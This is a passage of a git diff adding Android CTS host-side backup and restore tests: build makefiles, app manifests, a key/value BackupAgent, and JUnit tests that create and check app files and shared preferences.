+ assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
+ }
+}
diff --git a/hostsidetests/backup/Android.mk b/hostsidetests/backup/Android.mk
index 3ed8e99..1faec59 100644
--- a/hostsidetests/backup/Android.mk
+++ b/hostsidetests/backup/Android.mk
@@ -18,12 +18,10 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIRS := assets/
-
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsBackupHostTestCases
diff --git a/hostsidetests/backup/FullBackupOnly/Android.mk b/hostsidetests/backup/FullBackupOnly/Android.mk
new file mode 100644
index 0000000..521ac4d
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/Android.mk
@@ -0,0 +1,17 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk
new file mode 100644
index 0000000..6155ffb
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := FullBackupOnlyFalseNoAgentApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml
new file mode 100644
index 0000000..c00671f
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.fullbackuponlyapp">
+
+ <application>
+
+ <uses-library android:name="android.test.runner" />
+
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.fullbackuponlyapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk
new file mode 100644
index 0000000..62b9860
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := FullBackupOnlyFalseWithAgentApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml
new file mode 100644
index 0000000..03555d4
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.fullbackuponlyapp">
+
+ <application
+ android:backupAgent=".FullBackupOnlyBackupAgent">
+
+ <uses-library android:name="android.test.runner" />
+
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.fullbackuponlyapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk
new file mode 100644
index 0000000..8257ea7
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := FullBackupOnlyTrueWithAgentApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml
new file mode 100644
index 0000000..9b90592
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.fullbackuponlyapp">
+
+ <application
+ android:backupAgent=".FullBackupOnlyBackupAgent"
+ android:fullBackupOnly="true">
+
+ <uses-library android:name="android.test.runner" />
+
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.fullbackuponlyapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyBackupAgent.java b/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyBackupAgent.java
new file mode 100644
index 0000000..f14ce24
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyBackupAgent.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.fullbackuponlyapp;
+
+import android.app.backup.BackupAgent;
+import android.app.backup.BackupDataInput;
+import android.app.backup.BackupDataOutput;
+
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import java.io.BufferedInputStream;
+import java.io.BufferedOutputStream;
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+
+/**
+ * BackupAgent for test apps in {@link android.cts.backup.fullbackuponlyapp} package.
+ * Performs backup/restore of the file provided by {@link FullBackupOnlyTest}.
+ *
+ * Implementation of key/value backup methods is based on the examples from
+ * https://developer.android.com/guide/topics/data/keyvaluebackup.html
+ */
+public class FullBackupOnlyBackupAgent extends BackupAgent {
+ private static final String TAG = "FullBackupOnlyBA";
+
+ private static final String BACKUP_KEY = "full_backup_only_key";
+ private static final int DEFAULT_VALUE = -1;
+
+ /** Get the value saved in the shared preference and back it up. */
+ @Override
+ public void onBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
+ ParcelFileDescriptor newState) throws IOException {
+ Log.i(TAG, "onBackup");
+
+ File fileToBackup = FullBackupOnlyTest.getKeyValueBackupFile(this);
+ byte[] buffer = readFileToBytes(fileToBackup);
+
+ // Send the data to the Backup Manager via the BackupDataOutput
+ int len = buffer.length;
+ data.writeEntityHeader(BACKUP_KEY, len);
+ data.writeEntityData(buffer, len);
+ }
+
+ /** Get the value from backup and save it in the shared preference. */
+ @Override
+ public void onRestore(BackupDataInput data, int appVersionCode, ParcelFileDescriptor newState)
+ throws IOException {
+ Log.i(TAG, "onRestore");
+ int value = DEFAULT_VALUE;
+
+ // There should be only one entity, but the safest
+ // way to consume it is using a while loop
+ while (data.readNextHeader()) {
+ String key = data.getKey();
+ int dataSize = data.getDataSize();
+
+ // If the key is ours (for saving top score). Note this key was used when
+ // we wrote the backup entity header
+ if (BACKUP_KEY.equals(key)) {
+ // Copy data from BackupDataInput and write it into the file.
+ byte[] dataBuf = new byte[dataSize];
+ data.readEntityData(dataBuf, 0, dataSize);
+
+ File fileToRestore = FullBackupOnlyTest.getKeyValueBackupFile(this);
+
+ try (BufferedOutputStream bos = new BufferedOutputStream(
+ new FileOutputStream(fileToRestore))) {
+ bos.write(dataBuf, 0, dataBuf.length);
+ }
+ } else {
+ // We don't know this entity key. Shouldn't happen.
+ throw new RuntimeException("Unexpected key in the backup data");
+ }
+ }
+
+ // Finally, write to the state blob (newState) that describes the restored data
+ FileOutputStream outstream = new FileOutputStream(newState.getFileDescriptor());
+ DataOutputStream out = new DataOutputStream(outstream);
+ out.writeInt(value);
+ }
+
+
+ private byte[] readFileToBytes(File file) {
+ int size = (int) file.length();
+ byte[] bytes = new byte[size];
+ try {
+ BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file));
+ buf.read(bytes, 0, bytes.length);
+ buf.close();
+ } catch (FileNotFoundException e) {
+ throw new RuntimeException("Key/value file not found", e);
+ } catch (IOException e) {
+ throw new RuntimeException("Error reading key/value file", e);
+ }
+ return bytes;
+ }
+}
diff --git a/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java b/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java
new file mode 100644
index 0000000..17a7e2c
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.fullbackuponlyapp;
+
+import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Random;
+
+/**
+ * Device side routines to be invoked by the host side FullBackupOnlyHostSideTest. These
+ * are not designed to be called in any other way, as they rely on state set up by the host side
+ * test.
+ */
+@RunWith(AndroidJUnit4.class)
+public class FullBackupOnlyTest {
+ private static final String TAG = "FullBackupOnlyTest";
+
+ private static final int FILE_SIZE_BYTES = 1024 * 1024;
+
+ private File mKeyValueBackupFile;
+ private File mDoBackupFile;
+ private File mDoBackupFile2;
+
+ private Context mContext;
+
+ @Before
+ public void setUp() {
+ Log.i(TAG, "set up");
+ mContext = getTargetContext();
+ setupFiles();
+ }
+
+ private void setupFiles() {
+ mKeyValueBackupFile = getKeyValueBackupFile(mContext);
+
+ // Files to be backed up with Dolly
+ File filesDir = mContext.getFilesDir();
+ File normalFolder = new File(filesDir, "normal_folder");
+
+ mDoBackupFile = new File(filesDir, "file_to_backup");
+ mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
+ }
+
+ @Test
+ public void createFiles() throws Exception {
+ // Make sure the data does not exist from before
+ deleteAllFiles();
+ assertNoFilesExist();
+
+ // Create test data
+ generateFiles();
+ assertAllFilesExist();
+
+ Log.d(TAG, "Test files created: \n"
+ + mKeyValueBackupFile.getAbsolutePath() + "\n"
+ + mDoBackupFile.getAbsolutePath() + "\n"
+ + mDoBackupFile2.getAbsolutePath());
+ }
+
+ @Test
+ public void checkKeyValueFileDoesntExist() throws Exception {
+ assertKeyValueFileDoesntExist();
+ }
+
+ @Test
+ public void checkKeyValueFileExists() throws Exception {
+ assertKeyValueFileExists();
+ }
+
+ @Test
+ public void checkDollyFilesExist() throws Exception {
+ assertDollyFilesExist();
+ }
+
+ @Test
+ public void checkDollyFilesDontExist() throws Exception {
+ assertDollyFilesDontExist();
+ }
+
+ protected static File getKeyValueBackupFile(Context context) {
+ // Files in the 'no_backup' directory are not backed up with Dolly.
+ // We're going to use it to store a file the contents of which are backed up via key/value.
+ File noBackupDir = context.getNoBackupFilesDir();
+ return new File(noBackupDir, "key_value_backup_file");
+ }
+
+ private void generateFiles() {
+ try {
+ // Add data to all the files we created
+ addData(mKeyValueBackupFile);
+ addData(mDoBackupFile);
+ addData(mDoBackupFile2);
+ Log.d(TAG, "Files generated!");
+ } catch (IOException e) {
+ Log.e(TAG, "Unable to generate files", e);
+ }
+ }
+
+ private void deleteAllFiles() {
+ mKeyValueBackupFile.delete();
+ mDoBackupFile.delete();
+ mDoBackupFile2.delete();
+ Log.d(TAG, "Files deleted!");
+ }
+
+ private void addData(File file) throws IOException {
+ file.getParentFile().mkdirs();
+ byte[] bytes = new byte[FILE_SIZE_BYTES];
+ new Random().nextBytes(bytes);
+
+ try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
+ bos.write(bytes, 0, bytes.length);
+ }
+ }
+
+ private void assertAllFilesExist() {
+ assertKeyValueFileExists();
+ assertDollyFilesExist();
+ }
+
+ private void assertNoFilesExist() {
+ assertKeyValueFileDoesntExist();
+ assertDollyFilesDontExist();
+ }
+
+ private void assertKeyValueFileExists() {
+ assertTrue("Key/value file did not exist!", mKeyValueBackupFile.exists());
+ }
+
+ private void assertKeyValueFileDoesntExist() {
+ assertFalse("Key/value file did exist!", mKeyValueBackupFile.exists());
+ }
+
+ private void assertDollyFilesExist() {
+ assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
+ assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
+ }
+
+ private void assertDollyFilesDontExist() {
+ assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
+ assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
+ }
+}
diff --git a/hostsidetests/backup/KeyValueApp/Android.mk b/hostsidetests/backup/KeyValueApp/Android.mk
index 390c6b0..d03f85f 100644
--- a/hostsidetests/backup/KeyValueApp/Android.mk
+++ b/hostsidetests/backup/KeyValueApp/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsKeyValueBackupRestoreApp
diff --git a/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java b/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java
index f6d0c5b..76f3de2 100644
--- a/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java
+++ b/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java
@@ -49,6 +49,10 @@
* Device side routines to be invoked by the host side KeyValueBackupRestoreHostSideTest. These
* are not designed to be called in any other way, as they rely on state set up by the host side
* test.
+ *
+ * Some tests invoked by KeyValueBackupRestoreHostSideTest#testSharedPreferencesRestore() are
+ * interacting with SharedPrefsRestoreTestActivity from another package.
+ *
*/
@RunWith(AndroidJUnit4.class)
public class KeyValueBackupRestoreTest {
@@ -83,6 +87,27 @@
private static final String DEFAULT_STRING_VALUE = null;
private static final String DEFAULT_FILE_CONTENT = "";
+
+ /** Package name of the test app for
+ * KeyValueBackupRestoreHostSideTest#testSharedPreferencesRestore() */
+ private static final String SHARED_PREFERENCES_RESTORE_PACKAGE_NAME =
+ "android.cts.backup.sharedprefrestoreapp";
+
+ /** Test activity for KeyValueBackupRestoreHostSideTest#testSharedPreferencesRestore() */
+ private static final String SHARED_PREFERENCES_RESTORE_ACTIVITY_NAME =
+ SHARED_PREFERENCES_RESTORE_PACKAGE_NAME + ".SharedPrefsRestoreTestActivity";
+
+ // Shared prefs test activity actions
+ private static final String INIT_ACTION = "android.backup.cts.backuprestore.INIT";
+ private static final String UPDATE_ACTION = "android.backup.cts.backuprestore.UPDATE";
+ private static final String TEST_ACTION = "android.backup.cts.backuprestore.TEST";
+
+ // Action for returning the result of shared preference activity's operations
+ private static final String RESULT_ACTION = "android.backup.cts.backuprestore.RESULT";
+ private static final String EXTRA_SUCCESS = "EXTRA_SUCCESS";
+
+ private static final int ACTIVITY_TEST_TIMEOUT_MS = 5000;
+
private Context mContext;
private int mIntValue;
@@ -93,11 +118,35 @@
private String mFileContent1;
private String mFileContent2;
+ private boolean mSharedPrefTestSuccess;
+ private CountDownLatch mLatch;
+ private Intent mSharedPrefActivityIntent;
+
+ private final BroadcastReceiver mSharedPrefencesReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.i(TAG, "Received shared preference activity result broadcast");
+ mSharedPrefTestSuccess = intent.getBooleanExtra(EXTRA_SUCCESS, false);
+ mLatch.countDown();
+ }
+ };
+
@Before
public void setUp() {
Log.i(TAG, "set up");
mContext = getTargetContext();
+ mLatch = new CountDownLatch(1);
+ mSharedPrefTestSuccess = false;
+ mSharedPrefActivityIntent = new Intent()
+ .setClassName(SHARED_PREFERENCES_RESTORE_PACKAGE_NAME,
+ SHARED_PREFERENCES_RESTORE_ACTIVITY_NAME);
+ mContext.registerReceiver(mSharedPrefencesReceiver, new IntentFilter(RESULT_ACTION));
+ }
+
+ @After
+ public void tearDown() {
+ mContext.unregisterReceiver(mSharedPrefencesReceiver);
}
@Test
@@ -133,6 +182,34 @@
assertEquals(TEST_FILE_2_DATA, mFileContent2);
}
+ @Test
+ public void launchSharedPrefActivity() throws Exception {
+ mContext.startActivity(mSharedPrefActivityIntent.setAction(INIT_ACTION));
+
+ assertTrue("Activity init timed out",
+ mLatch.await(ACTIVITY_TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue("Saving shared preferences didn't succeed", mSharedPrefTestSuccess);
+ }
+
+ @Test
+ public void updateSharedPrefActivity() throws Exception {
+ mContext.startActivity(mSharedPrefActivityIntent.setAction(UPDATE_ACTION));
+
+ assertTrue("Activity launch timed out",
+ mLatch.await(ACTIVITY_TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue("Saving shared preferences didn't succeed", mSharedPrefTestSuccess);
+ }
+
+ @Test
+ public void checkSharedPrefActivity() throws Exception {
+ mContext.startActivity(mSharedPrefActivityIntent.setAction(TEST_ACTION));
+
+ assertTrue("Activity test timed out",
+ mLatch.await(ACTIVITY_TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue("Shared preference value wasn't updated from the restore set",
+ mSharedPrefTestSuccess);
+ }
+
/** Saves predefined constant values to shared preferences and files. */
private void saveSharedPreferencesValues() throws FileNotFoundException {
SharedPreferences prefs = mContext.getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
diff --git a/hostsidetests/backup/RestoreAnyVersion/Android.mk b/hostsidetests/backup/RestoreAnyVersion/Android.mk
new file mode 100644
index 0000000..521ac4d
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/Android.mk
@@ -0,0 +1,17 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk
new file mode 100644
index 0000000..0a0efba
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsBackupRestoreAnyVersionAppUpdate
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml
new file mode 100644
index 0000000..c9284ba
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.restoreanyversionapp"
+ android:versionCode="200">
+
+ <application
+ android:backupAgent=".RestoreAnyVersionBackupAgent">
+
+ <uses-library android:name="android.test.runner" />
+
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.restoreanyversionapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk
new file mode 100644
index 0000000..94d9376
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsBackupRestoreAnyVersionNoRestoreApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml
new file mode 100644
index 0000000..0d05b99
--- /dev/null
